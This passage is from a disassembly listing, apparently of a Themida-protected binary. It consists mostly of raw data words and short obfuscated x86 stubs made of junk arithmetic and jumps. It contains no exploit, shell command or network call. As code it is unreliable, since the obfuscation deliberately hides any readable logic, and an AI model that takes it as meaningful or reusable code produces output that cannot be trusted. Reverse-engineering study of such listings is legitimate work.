4BF9h dd 0C581E589h, 4, 3304C583h, 2C31242Ch, 242C3324h, 95FAE95Ch dd 1487FFFFh, 1C895C24h, 55E95224h, 81FFFFD9h, 0EC69E7C7h dd 81F7011Fh, 0EC69E7EFh, 78C7811Fh, 0E979055Eh, 0FFFF7BA9h dd 2EE9425Ah, 0C1FFFF4Ch, 0BB5306E9h, 60454972h, 0FF74D3E9h dd 88D588FFh, 0D88859EBh, 2050E9h db 0 ; --------------------------------------------------------------------------- loc_59D7F9: ; CODE XREF: Themida_:005A2074j xor bl, 0F5h xor dl, bl pop ebx push 12B1h mov [esp], ecx mov ch, dl jmp loc_598F80 ; --------------------------------------------------------------------------- dw 0E968h dd 5E03C45Bh, 0FF6721E9h, 4C283FFh, 0FFED3EE9h, 4EC83FFh dd 0E9243C89h, 3C63h, 28AFEF2Dh, 58C701B5h, 5C243C87h dd 2159CA29h, 24148BD1h, 68E68956h, 1F24h, 0BB241C89h dd 4, 815BDE01h, 4C6h, 24348700h, 0C124248Bh, 2FE900E9h dd 0BD000057h, 5BAC45ABh, 815DEE31h, 760953EFh, 81F70128h dd 760953C7h, 0C7835E28h, 243C8704h, 0A1C2E95Ch, 835FFFFFh dd 0BA5204C4h, 251628E4h, 815AD629h, 666CB8C6h, 0E9DE014Eh dd 0FFFF3EAFh ; --------------------------------------------------------------------------- loc_59D8A4: ; CODE XREF: Themida_:00592985j pop esp jmp loc_59A14E ; --------------------------------------------------------------------------- dw 0EF01h dd 81242C8Bh, 4C4h, 2B85000h, 81000000h, 0C63DC5EFh, 50C70106h dd 9615DB8h, 5AAA050Ch, 0BE053D84h, 1BD3881h, 335858C7h dd 3C31243Ch, 0EBCBE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59D8E2: ; CODE XREF: Themida_:0058E8DAj push ecx mov cl, 72h or cl, 3Ah shr cl, 2 dec cl push 1440h mov [esp], ebx jmp loc_599996 ; --------------------------------------------------------------------------- dw 0C229h dd 4087C281h, 0C2812414h, 6B616F0h, 582434FFh, 0FF8502E9h dd 8BD988FFh, 89E9241Ch, 81FFFF5Eh, 1203B7EFh, 81D70129h dd 1203B7C7h, 1FC78129h, 8B227660h, 0B5E92414h db 37h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59D937: ; CODE XREF: Themida_:0059FEF6j xor ecx, [esp] pop esp jmp loc_5A083A ; --------------------------------------------------------------------------- dd 81E18951h, 4C1h, 4C18300h, 5C240C87h, 0FFDB2BE9h db 0FFh byte_59D955 db 56h, 81h, 0ECh ; DATA XREF: Themida_:0058E090o dd 4, 53242489h, 4BBh, 354BE900h, 0C581FFFFh, 593E3B47h dd 0DFE9EB01h db 3Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_59D977: ; CODE XREF: Themida_:00597FAAj mov ecx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_594BA8 ; --------------------------------------------------------------------------- loc_59D98D: ; CODE XREF: Themida_:0059DFD2j mov ecx, 6C273FCEh sub esp, 4 mov [esp], ecx xor dword ptr [esp], 1718417Eh pop ebx push eax mov eax, 631056F9h jmp loc_5960ED ; --------------------------------------------------------------------------- loc_59D9AE: ; CODE XREF: Themida_:005A0E91j push eax mov eax, 65F24F5Bh sub eax, 1 jmp loc_59BD38 ; --------------------------------------------------------------------------- dword_59D9BC dd 0E92434FFh, 0FFFFA904h; --------------------------------------------------------------------------- loc_59D9C4: ; CODE XREF: Themida_:0059F060j dec edi not edi and edi, 4C4F6C7Eh add edi, 1 shr edi, 3 sub edi, 0B1E96F35h mov ebx, edi pop edi shr ebx, 7 sub esp, 4 mov [esp], eax push ecx mov ecx, 48A65FF6h mov eax, ecx pop ecx sub eax, 79C35326h and eax, 63602FC8h or eax, 46C5503Bh sub eax, 0FBA82AC3h and ebx, eax pop eax neg ebx jmp loc_5A0766 ; --------------------------------------------------------------------------- dd 7327CE81h, 81462693h, 78503FEEh, 8111E90Ch db 2 dup(0FFh) word_59DA1E dw 8B66h ; DATA XREF: Themida_:0058E2A0o dd 8268240Ch, 89000024h, 0E4E92434h db 72h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59DA2F: ; CODE XREF: Themida_:005992F1j sub esp, 4 mov [esp], ebx mov ebx, 47454A24h shl ebx, 4 push eax push ecx mov ecx, 48F65608h push ebp jmp loc_599062 ; --------------------------------------------------------------------------- db 55h, 31h, 34h dd 24343324h, 0F7243431h, 2A65E9D6h, 0D4BEFFFFh, 8157B03Dh dd 6A38A8F6h, 0E9F0295Ah, 3D62h, 34FFD304h, 0E9575924h dd 0FFFF4D72h, 4C481h, 0EC830000h, 242C8904h, 42474FFh dd 0FF52F8E9h db 0FFh ; --------------------------------------------------------------------------- loc_59DA91: ; CODE XREF: Themida_:0059F48Cj xor esi, eax pop eax push 4647h jmp loc_596159 ; --------------------------------------------------------------------------- dw 4141h dd 1E7DBF57h, 0CF816B14h, 4B937D93h, 9C0F781h, 0CF8122B2h dd 36A23461h, 4F0ACF81h, 0C78169ADh, 4D1340D6h, 3378F781h dd 0F901002Bh, 59CF015Fh, 8702C783h, 0E95C243Ch, 0FFFFBC72h dd 8B240C33h, 2CD32424h, 68E99C24h db 8, 2 dup(0FFh) byte_59DAEB db 0FFh ; DATA XREF: Themida_:0058E238o dd 669D1C77h, 2414D359h, 859E99Ch, 0B60FFFFFh, 8734FFC0h dd 66D96852h, 0E8E94198h, 87FFFFEBh, 535C242Ch, 19E95B54h dd 89000025h, 4C381E3h, 0E9000000h, 0FFFFED85h, 8924248Bh dd 6852242Ch, 76A7h, 89243489h, 0E9F289DEh, 0FFFF762Bh dd 507B6852h, 58E90000h db 8, 2 dup(0FFh) byte_59DB47 db 66h ; DATA XREF: Themida_:0058E234o dd 6824048Bh, 6A91h, 54240C89h, 81240C8Bh, 4C4h, 195EE900h dd 34810000h, 0CC072124h, 6E50E92Ch, 0E946FFFFh, 0FFFF8EF0h dd 0C580CDFEh, 6BF580C1h, 0FF83A1E9h, 8BC629FFh, 0C4832404h dd 74FF5604h, 8F5E0424h, 685C2404h, 52Bh, 81242489h, 42404h dd 0CDE90000h, 5BFFFF5Eh, 4C481h, 148B0000h, 4C48324h dd 6802C083h, 528Ch, 0E9240489h, 2A8Bh, 0A7D6E957h, 2D5BFFFFh dd 577C7843h, 0E958C529h, 1001h, 19126857h, 505F04C1h dd 9C3F1FB8h, 0A354041h, 2D693847h, 0C2E19009h, 8958C701h dd 0F5815FFDh, 366C2980h, 815DEA29h, 776A60C2h, 81DA2962h dd 776A60EAh, 0B3C28162h, 815CE828h, 0A41ACEEAh, 241C8B01h dd 4C481h, 2CE90000h, 81FFFF07h, 0EA756EF7h, 78E95018h dd 68FFFF68h, 74350343h, 0FF0DFAE9h, 247C31FFh, 5998E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59DC46: ; CODE XREF: Themida_:0059886Bj pop esp mov [esp], esi push ebx pop esi mov eax, esi jmp loc_5A1E2F ; --------------------------------------------------------------------------- db 68h dd 1B58h, 89241489h, 0B95155E2h, 452D7CC3h, 0E9F799BDh dd 59CD2990h, 46A268h, 24348900h, 0C681E689h, 4, 5604EE83h dd 42474FFh, 24048F5Eh, 8924248Bh, 0AABA2414h, 0C1320807h dd 0F28107EAh, 19432C0Dh, 27E5E9h, 243C8B00h, 8104C483h dd 4268F0F6h, 0C1DEF775h, 0F68107E6h, 0F078A000h, 34FFF021h dd 2434FF24h, 4C4815Eh, 68000000h, 5BA1h, 54241489h, 4C2815Ah dd 0E9000000h, 0FFFFB201h, 3C4CEB81h, 0C3014E85h, 3C4CC381h dd 87584E85h, 0E95C241Ch, 0FFFF3687h, 3D137B05h, 26E95606h dd 5BFFFFE7h, 0FF1395E9h, 4A18BAFFh, 0D2F71039h, 5A74C281h dd 12E91D5Ah, 53FFFF65h, 0B05EABBBh, 5E3C147h, 82EF381h dd 0EB8737F3h, 0EB87D5F7h, 5289EB81h, 0EB816E45h, 8731511Ah dd 2C49E9h, 0E9FE8900h, 0FFFFFF5Dh, 59CB8959h, 3E9DE01h db 93h, 2 dup(0FFh) byte_59DD4F db 0ACh ; DATA XREF: Themida_:0058E2ACo db 30h, 0D8h, 51h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_5A0F66 ; --------------------------------------------------------------------------- db 66h, 8Bh, 1Ch dd 0FF545624h, 815E2434h, 4C4h, 0C2B85000h, 0E92FBF31h dd 0FFFF651Ah, 0ADE68h, 24148900h, 0D2E94FB2h, 100000Bh dd 0E9515FFBh, 0FFFFCEACh, 3FE9F829h, 0E9FFFF3Ah, 0FFFF05B3h dd 33241C31h, 2D5C241Ch, 547208B5h, 0B505D001h, 51547208h dd 5830C1B9h, 6E9C13Ch, 1F86E181h, 0D4E97E34h, 81FFFF18h dd 242113EDh, 22ED8152h, 8960C97Eh, 1642E9EFh, 3C8BFFFFh dd 4C48324h, 685AD101h, 126Fh, 55241489h, 2BDh, 0E9EA8900h dd 0FFFF8614h, 8BF02858h, 0EC812414h, 4, 89240C89h, 4C181E1h dd 83000000h, 0C8704C1h, 8C99E924h, 248BFFFFh, 9954E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59DE22: ; CODE XREF: Themida_:005A284Fj push eax jmp loc_599DD9 ; --------------------------------------------------------------------------- dd 68E9E189h, 89FFFFF2h, 1DE9240Ch, 8900001Fh, 0ED815BDDh dd 6DEB362Eh, 629CB850h, 0C14069BEh, 0E0C105E8h, 1DD3E908h dd 6C810000h, 5EED0424h, 0FF5E046Eh, 1C8B2434h, 2A11E924h dd 895C0000h, 0BB532434h, 2D9449Ah, 81D3F743h, 0D944A0C3h dd 8BDE8902h, 0C481241Ch, 4, 4CA3C381h, 0A3685F73h, 8900007Fh dd 41BF243Ch, 816CB86Eh, 0D5646FCFh, 4E7C173h, 0F704E7C1h dd 4E7C1DFh, 2698BA52h, 0E2D142EFh, 20ECBD55h, 0CD81593Ch dd 0DB74ECBh, 0ECE9D5F7h, 59FFFFECh, 8B5FFA89h, 1BE9242Ch dd 81FFFF6Eh, 991788C1h, 0E9835B68h, 0E2CAE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59DEDE: ; CODE XREF: Themida_:005A195Aj pop esp add ebx, 4 push eax jmp loc_592331 ; --------------------------------------------------------------------------- db 0FFh dd 8B042474h, 0C4812434h, 4, 8B24048Fh, 8B662424h, 5457240Ch dd 4EC835Fh, 0BB241C89h, 4, 4330EF81h, 0EF811D74h, 0DC55B6Ch dd 2B2C781h, 59E91A79h, 56FFFFEAh, 0E953E689h, 0FFFFE065h dd 15DEF89h, 243C8BF8h, 2948E9h db 0 ; --------------------------------------------------------------------------- loc_59DF3D: ; CODE XREF: Themida_:0059327Bj add ecx, 4 xchg ecx, [esp] jmp loc_597FA9 ; --------------------------------------------------------------------------- dd 0E9C8215Eh, 0FFFF6EB5h, 81E68956h, 4C6h, 33CA6800h dd 14890000h, 0BBF5724h, 817BF328h, 0F3280FF7h, 5FFA897Bh dd 148BD601h, 4C48324h, 2474FF56h, 48F5E04h, 0F8E95C24h db 2, 2 dup(0) ; --------------------------------------------------------------------------- loc_59DF87: ; CODE XREF: Themida_:0059445Bj xor dl, cl xor cl, dl xor dl, cl sub dl, 48h add al, dl pop edx push small 5BA8h jmp loc_590753 ; --------------------------------------------------------------------------- dd 0E904EC83h, 0FFFF981Ah, 481505Bh, 39587124h, 0CCE95B40h dd 0B9000032h, 0 dd 0FF6093E9h db 0FFh byte_59DFBD db 66h, 8Bh, 4 ; DATA XREF: Themida_:0058E2D8o dd 0E6895624h, 5890BB53h, 0F7E92656h db 0C1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59DFCF: ; CODE XREF: Themida_:0059A9FCj mov [esp], ecx jmp loc_59D98D ; --------------------------------------------------------------------------- db 5Ch dd 0FFC2A3E9h, 348B5EFFh, 47736824h, 3E90000h, 0BFFFFF9Eh dd 54237E09h, 8107E7C1h, 0F007EAF7h, 0EFC14F21h, 49C78107h dd 8935A285h, 0F3215FFEh, 4DEB815Eh, 811FCB3Eh, 42A9C2C3h dd 5BD92998h, 0C8BCB01h, 4C48324h, 6AD9EB81h, 0F3016D07h dd 6AD9C381h, 0EB816D07h, 698458F0h, 55C3015Eh, 2E7C2ABDh dd 0C1F58128h, 29333C0Dh, 1052E9EBh db 2 dup(0) ; --------------------------------------------------------------------------- loc_59E04A: ; CODE XREF: Themida_:005947BDj dec ebp jmp loc_591BD6 ; --------------------------------------------------------------------------- dd 0CF58BF57h, 0FB3156C6h, 4FF3E95Fh, 89530000h, 0F3FEE9E3h dd 0F752FFFFh, 815A2414h, 407F88C2h, 5AD60188h, 1955E9h dd 4BE00h, 0F3010000h, 4EB815Eh, 0E9000000h, 0FFFF9FA1h dd 6262C781h, 0D7E94866h, 55FFFF30h, 8B05C6BDh, 6E5C149h dd 0FF0620E9h db 0FFh ; --------------------------------------------------------------------------- loc_59E0A5: ; CODE XREF: Themida_:00592DC1j push edx mov dh, 0A1h inc dh shr dh, 5 shl dh, 6 jmp loc_59CF3F ; --------------------------------------------------------------------------- loc_59E0B5: ; CODE XREF: Themida_:005A2DECj push edx push 4C70h jmp loc_590024 ; --------------------------------------------------------------------------- dd 0F2C18159h, 5B202448h, 34FFC821h, 240C8B24h, 4C481h dd 0EF680000h, 89000056h, 0E589242Ch, 4C581h, 0BAE90000h dd 87FFFFBFh, 0AE9243Ch, 1FFFF18h, 0CA015EF1h, 83240C8Bh dd 0BE904C4h db 0C0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59E103: ; CODE XREF: Themida_:0059B54Bj mov [esp], edx push 3127h jmp loc_58F51D ; --------------------------------------------------------------------------- loc_59E110: ; CODE XREF: Themida_:0058E673j neg ch jmp loc_5A0647 ; --------------------------------------------------------------------------- db 1 dd 0FFF05E8h, 0E95D610Eh, 0FFFF1E6Fh, 9DE95B66h, 81FFFF54h dd 0BC5626C7h, 3AC3810Bh, 2970346Fh, 491FE9FBh, 0F5290000h dd 242C875Eh, 243C895Ch, 29BF68h, 5029E900h, 0E952FFFFh dd 0FFFFB3E7h dword_59E158 dd 582434FFh, 31D868h, 24048900h, 0FFB818E9h, 0EA0BDFFh ; DATA XREF: Themida_:0058E0ACo dd 0EB013B04h, 0E953525Dh, 0FFFFE157h ; --------------------------------------------------------------------------- loc_59E178: ; CODE XREF: Themida_:0059FC8Aj pop eax push 6349h mov [esp], esi push esp jmp loc_597979 ; --------------------------------------------------------------------------- byte_59E187 db 0FFh ; DATA XREF: Themida_:0058E110o dd 34FF2434h, 0ABFE924h, 34870000h, 24D25C24h, 80E99C24h db 32h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59E19F: ; CODE XREF: Themida_:0059089Cj add esi, edx add esi, 1A111839h pop edx push edi mov edi, 4 sub esi, edi pop edi push esi push dword ptr [esp+4] jmp loc_592631 ; --------------------------------------------------------------------------- db 5Ch dd 0E9243489h, 0FFFF3FB8h, 81240489h, 4ECh, 24348900h dd 0FFF159E9h, 1C895CFFh, 34FF5424h, 86E95B24h, 0B9FFFF19h dd 0E1A0785h, 315DC981h, 0E9C1625Fh, 76E98107h, 52785F5Fh dd 0DD2E30BAh, 0E9D131B5h, 0FFFF3B03h, 7A0FED81h, 815F064Dh dd 4ECh, 24348900h, 2BEh, 5EF50100h, 0CABAE955h, 0E95FFFFFh dd 0FFFFED99h ; --------------------------------------------------------------------------- loc_59E228: ; CODE XREF: Themida_:005973F2j pop eax jmp loc_598B7A ; --------------------------------------------------------------------------- dw 0E94Bh dd 1A1Ch, 104C483h, 3BE981E9h, 0FF7A484Ah, 0C0E92434h db 37h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59E247: ; CODE XREF: Themida_:005963F4j add ecx, edx pop edx jmp loc_59AF84 ; --------------------------------------------------------------------------- db 81h dd 843F39C6h, 0E2685D1Eh, 89000061h, 4BF243Ch, 1000000h dd 34875FFEh, 3DEBE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59E26E: ; CODE XREF: Themida_:0059462Cj sub esi, 5E3651D6h sub esi, 681941B2h jmp loc_5A164D ; --------------------------------------------------------------------------- db 56h dd 9BE9E689h db 0A1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59E287: ; CODE XREF: Themida_:0059157Ej sub edi, 45DF7388h jmp loc_592D2A ; --------------------------------------------------------------------------- dw 34FFh dd 0EC815F24h, 4, 68240489h, 1F70h, 81242489h, 42404h dd 48B0000h, 4C48324h, 405h, 46E95200h db 0FAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59E2BF: ; CODE XREF: Themida_:0059CA7Bj push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp shr eax, 0Bh xor ecx, eax jmp loc_5902F4 ; --------------------------------------------------------------------------- dw 0EBC1h dd 42C38106h, 81474941h, 0A49240F3h, 0E9D88967h, 0FFFFFCBCh ; --------------------------------------------------------------------------- loc_59E2E8: ; CODE XREF: Themida_:0059B202j mov [esp], ecx jmp loc_59EB47 ; --------------------------------------------------------------------------- dd 0BA52E089h, 1CB4243Ch, 0C2CA814Ah, 0E9403549h, 0FFFF3B7Ah dd 0D1F7CE87h, 9FE9CE87h, 83FFFF5Bh, 48904ECh, 0A685324h dd 5B169E43h, 68F38143h, 89516E2Ah, 7171E9D8h, 0C381FFFFh dd 3F881A13h, 0FF0A44E9h, 7B9AB8FFh, 0BBE9A994h, 8BFFFF33h dd 6DE92434h db 36h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59E347: ; CODE XREF: Themida_:00597170j pop ebx add esp, 4 pop ebx add ebx, 3B5B2DEEh jmp loc_594EB0 ; --------------------------------------------------------------------------- dw 2C87h dd 24248B24h, 8B24048Fh, 14892424h, 0F2685724h, 0E949D97Bh dd 3D05h ; --------------------------------------------------------------------------- loc_59E374: ; CODE XREF: Themida_:005A0DADj push edx mov edx, 254749C9h inc edx add edx, 1D150FC8h jmp loc_59FC8F ; --------------------------------------------------------------------------- dw 0BD55h dd 570F09B2h, 761068h, 242C8900h, 8B2414F7h, 0C481242Ch dd 4, 5707EDC1h, 4DB8B951h, 0E1810ED6h, 28981678h, 5E98141h dd 8122CE56h, 8A0A57C1h, 0E9CF89F7h, 0FFFF6AB2h ; --------------------------------------------------------------------------- loc_59E3C4: ; CODE XREF: Themida_:0058F6F9j push dword ptr [esp] pop esi add esp, 4 add esp, 4 push 464Dh mov [esp], edx push 10h push dword ptr [esp] mov edx, [esp] add esp, 4 sub esp, 4 jmp loc_58F558 ; --------------------------------------------------------------------------- dw 3A68h dd 8900001Ah, 0DEE92434h, 86000016h, 0F6012464h, 246486D4h dd 0E95B6601h, 0FFFF2F59h, 74C168h, 24048900h, 0E688FC88h dd 8B2434FFh, 89562404h, 0D4BD55E6h, 0C10F6503h, 0E5C108EDh dd 36E58103h, 8143407Dh, 200564EDh, 58C58105h, 104DFDDh dd 0EAE95DEEh, 8BFFFF00h, 1AE9241Ch, 0C1FFFF1Ah, 0C58107EDh dd 1A1F3C5Dh, 289CBA52h, 0CA817DD3h, 6A2D56DFh, 6E9D2F7h dd 81FFFF91h, 4C4h, 1E95B00h, 0BEFFFF94h, 683553B0h, 2223F681h dd 814E52D6h, 0DC626DE6h, 2FC68179h, 81037330h, 0B0CD94C6h dd 5EF301FFh, 4CEB81h, 0C301325Dh, 2FE95750h, 89FFFF82h dd 4B26E9E0h, 814F0000h, 0FC0CC6F7h, 81D7F71Eh, 15305E7h dd 0AA86849h, 1C890000h, 7A31BB24h, 0FAE948F4h, 31000047h dd 0E08950C8h, 405h, 2B54E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59E4E2: ; CODE XREF: Themida_:00597BD9j push 3D9Bh jmp loc_599FBC ; --------------------------------------------------------------------------- loc_59E4EC: ; CODE XREF: Themida_:00598641j shr ebp, 7 add ebp, 1B30A879h xor eax, ebp pop ebp jmp loc_5A118A ; --------------------------------------------------------------------------- loc_59E4FD: ; CODE XREF: Themida_:0059B739j sub edi, esi add edi, 99D0F40h jmp loc_5947AE ; --------------------------------------------------------------------------- loc_59E50A: ; CODE XREF: Themida_:005A3031j pop ecx jmp loc_5911FB ; --------------------------------------------------------------------------- dd 5EF0095Bh, 0DB7CF535h, 3DED812Dh, 814E3441h, 815BBEC5h dd 5ED8158h, 1422135h, 5C581C5h, 81422135h, 815BBEEDh dd 3DC58158h, 8B4E3441h, 89502404h, 405E0h, 2EE90000h dd 5B000007h, 0FF12ACE9h, 24248BFFh, 721A68h, 24048900h dd 0FF7C6BE9h, 55854FFh, 4, 5004E883h, 42474FFh, 0FF6A1BE9h db 0FFh ; --------------------------------------------------------------------------- loc_59E579: ; CODE XREF: Themida_:005987C4j push edi mov edi, 21143054h shr edi, 5 jmp loc_58ED6F ; --------------------------------------------------------------------------- db 81h dd 4C4h, 4C48300h, 0FF7D38E9h, 94E95BFFh, 51FFFF84h, 4B9h dd 0FFCB2900h, 81592434h, 4C4h, 2E53E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59E5B2: ; CODE XREF: Themida_:00591169j push ebp mov ebp, 2CF53DA2h mov ebx, 57E9DA70h xor ebx, ebp mov ebp, [esp] add esp, 4 add ebp, ebx jmp loc_590BFB ; --------------------------------------------------------------------------- db 83h dd 0EC8304C4h, 243C8904h, 18D4E954h, 0E8C1FFFFh, 4EC8108h dd 89000000h, 7BB241Ch, 0E96D3303h, 0FFFF2D2Dh, 83241C8Bh dd 56604C4h, 1665A39h, 392D66F8h, 243C8B5Ah, 6604C483h dd 662D842Dh, 0AAE9D801h, 80FFFF81h, 0E1800FC1h, 8382E910h dd 0C483FFFFh, 0FFBA5204h, 29FFFFFFh, 0F5815AD5h, 46C810FBh dd 0FFCAA1E9h, 58C789FFh, 8147D7F7h, 0DE59AFE7h, 37BE5621h dd 31633A42h, 18D5E9F7h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59E652: ; CODE XREF: Themida_:005947EAj or ebx, ebx jnz loc_59810A push eax push 20h push dword ptr [esp] jmp loc_59A923 ; --------------------------------------------------------------------------- loc_59E668: ; CODE XREF: Themida_:005948FEj mov ecx, esp jmp loc_58FD3E ; --------------------------------------------------------------------------- loc_59E66F: ; CODE XREF: Themida_:0058EF93j mov ebp, 75394E82h add ebp, 0FFFFFFFFh xor ebp, 47902C7Ch or edi, ebp pop ebp push edx mov edx, esp add edx, 4 jmp loc_593A63 ; --------------------------------------------------------------------------- db 4, 0B0h, 0E9h dd 0FFFFE1C7h ; --------------------------------------------------------------------------- loc_59E698: ; CODE XREF: Themida_:005A188Dj push dword ptr [esp+4] mov ecx, [esp] jmp loc_5A1796 ; --------------------------------------------------------------------------- dd 0F704E8C1h, 0E0C148D0h, 8ED83502h, 0C629B253h, 0FF24DBE9h dd 243487FFh, 252EE95Ch, 0C481FFFFh, 4, 4C181h, 0C9E90000h dd 87FFFFF8h, 31D6F7F2h, 31D631F2h, 3ACCE9F2h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59E6E2: ; CODE XREF: Themida_:005983CEj add esp, 4 push 5CA0h mov [esp], edx push ebx mov ebx, esp jmp loc_59CBF4 ; --------------------------------------------------------------------------- db 5Fh, 81h, 0EAh dd 5A800D6Ah, 0C281FA01h, 5A800D6Ah, 81FC281h, 0E9534B43h dd 48A4h, 3109BF57h, 8BE902EFh db 69h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59E71B: ; CODE XREF: Themida_:0059F69Ej pop esp jmp loc_59CB40 ; --------------------------------------------------------------------------- db 0F7h, 0DAh, 53h dd 5227B6BBh, 5BDA0914h, 8108EAC1h, 1D751FE2h, 52B7E92Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59E73A: ; CODE XREF: Themida_:00590A62j pop edx pop edi and eax, ebx mov ebx, [esp] add esp, 4 jmp loc_59D4A0 ; --------------------------------------------------------------------------- loc_59E749: ; CODE XREF: Themida_:005A2E93j mov edx, 4EE57D37h shr edx, 6 not edx inc edx neg edx xor edx, 3060573Bh shr edx, 8 jmp loc_5963EB ; --------------------------------------------------------------------------- loc_59E764: ; CODE XREF: Themida_:00591114j add esi, 4 add esi, 4 jmp loc_59B122 ; --------------------------------------------------------------------------- loc_59E775: ; CODE XREF: Themida_:005984D6j mov ch, 0ACh xor bh, ch pop cx xor bh, 98h sub bh, 0D6h sub al, bh mov ebx, [esp] add esp, 4 sub al, ch add al, 13h jmp loc_5A20FE ; --------------------------------------------------------------------------- db 53h, 81h, 0ECh dd 4, 68241489h, 5ECF6095h, 0A0F2815Ah, 890ADA43h, 0DBF75AD3h dd 2339C381h, 0BE565415h, 56EC5143h, 1B1FE952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59E7C2: ; CODE XREF: Themida_:005A25A2j push eax mov eax, 11B56B90h shl eax, 2 neg eax sub eax, 7D7E68D7h jmp loc_5A16DB ; --------------------------------------------------------------------------- loc_59E7D7: ; CODE XREF: Themida_:0059D5B4j push 588h mov [esp], ecx mov cl, 19h not cl jmp loc_598FCE ; --------------------------------------------------------------------------- dd 4B5AD329h, 45C6BD55h, 0F5814509h, 0B752A8F3h, 8AE9EB29h dd 52FFFF24h dword_59E800 dd 264D73BAh, 481524Fh, 727CC724h, 0E953584Ah, 0FFFF5FDBh ; DATA XREF: Themida_:00582674o dd 4E946857h, 3C8B5549h, 4C48324h, 0EF81DFF7h, 0AAB6B168h dd 55CAC181h, 0F9010193h, 55CAE981h, 0C8E90193h, 81FFFFEDh dd 661F4DE5h, 14F75518h, 0A0E95D24h db 6Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59E84B: ; CODE XREF: Themida_:00594830j inc ebx push ebx not dword ptr [esp] pop ebx not ebx xor ebx, 7557BACAh add ecx, ebx mov ebx, [esp] add esp, 4 sub ecx, 2 xchg ecx, [esp] jmp loc_59A108 ; --------------------------------------------------------------------------- db 5Ch dd 0FFAD54E9h, 0B75352FFh, 7256E9F5h, 0C4B9FFFFh, 0F764942Bh dd 0A2F181D1h, 81406217h, 247595E9h, 30BE964h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59E896: ; CODE XREF: Themida_:005919F8j add ebp, 994F1856h add eax, ebp jmp loc_5A0CA8 ; --------------------------------------------------------------------------- db 1 dd 30BE56DAh, 0C14D701Ch, 0CE8108EEh, 218464F3h, 2B65E9h dd 0E9E58900h, 4679h, 6424248Bh, 88E90288h db 0FAh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_59E8CB: ; CODE XREF: Themida_:005A1994j sub ecx, ebp pop ebp shl ecx, 1 xor ecx, 66837B42h xor ecx, 56BEB3B8h push ecx pop esi push dword ptr [esp] pop ecx jmp loc_595E6E ; --------------------------------------------------------------------------- db 5Eh dd 0C105E8C1h, 565108E0h, 0F179DBEh, 5EF18917h, 0C9E98149h dd 318C13B6h, 32E959C8h db 0FDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59E907: ; CODE XREF: Themida_:00598A89j xor [esp], ecx jmp loc_5909E4 ; --------------------------------------------------------------------------- dd offset word_5C685A align 4 dd 240C8900h, 0FF3428E9h db 0FFh ; --------------------------------------------------------------------------- loc_59E91D: ; CODE XREF: Themida_:005A0CC2j mov eax, 4 add ebx, eax mov eax, [esp] jmp loc_59297C ; --------------------------------------------------------------------------- dd 5C241487h, 81E68956h, 4C6h, 4EE8300h, 0E9243487h, 3674h dd 8B2434FFh, 52E9243Ch, 53FFFF6Ch, 0D2377EBBh, 5BD82923h dd 4810E9h, 0B0C38000h, 0EB80D300h, 24148BB0h, 51E08950h dd 4B9h, 0E9C80100h, 0FFFF1333h, 0C3C98BAh, 5AD68946h dd 0CC4FE952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59E986: ; CODE XREF: Themida_:005A0E53j mov [esp], edx add byte ptr [esp], 0FFh push dword ptr [esp] jmp loc_59D01D ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 0FF34C5E9h, 4BAFFh, 0EE810000h, 56131577h, 0C681D601h dd 56131577h, 0FFB90EE9h, 3EE5BFFFh, 4AE90D36h, 81FFFF4Bh dd 9108ADF5h, 5DE92988h, 21E4C981h, 0E9C17161h, 1DC98103h dd 0E918C004h, 0FFFF4FDCh, 38DBF281h, 0D609688Bh, 15F6815Ah dd 511BC93Dh, 0C74DDCB9h, 0B3F4E925h, 0D8F7FFFFh, 0FFFFFF05h dd 5F2868FFh, 0A9E90000h db 4Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59EA07: ; CODE XREF: Themida_:0059ED5Aj pop ecx push 2FFFh mov [esp], ebx push edx push 162Fh mov [esp], ecx mov cl, 0ADh push ecx mov ch, 0A9h mov dl, 5Ch add dl, ch pop ecx sub dl, cl mov ecx, [esp] add esp, 4 push bx mov bh, 49h xor dl, bh pop bx push ax mov al, dl not al mov dl, al pop ax shr dl, 7 push ebx mov bl, 3Bh shr bl, 4 shl bl, 2 sub bl, 29h sub bl, 9Ch and dl, bl pop ebx jmp loc_59B305 ; --------------------------------------------------------------------------- db 68h dd 3B74h, 53240C89h, 0B75398B7h, 22B183h, 0A8E95BF9h, 53FFFFFBh dd 241C8B54h, 0FF2013E9h, 52D830FFh, 32AEE951h, 36BF0000h dd 29255C07h, 413E9FAh db 2 dup(0) ; --------------------------------------------------------------------------- loc_59EA8E: ; CODE XREF: Themida_:005A077Cj sub ebx, 82B078BFh add edi, 40AE4F03h sub edi, ebx sub edi, 40AE4F03h pop ebx push eax jmp loc_599DA3 ; --------------------------------------------------------------------------- db 41h, 81h, 0E1h dd 756A08F2h, 4D7DC181h, 0F1813293h, 1EDC4095h, 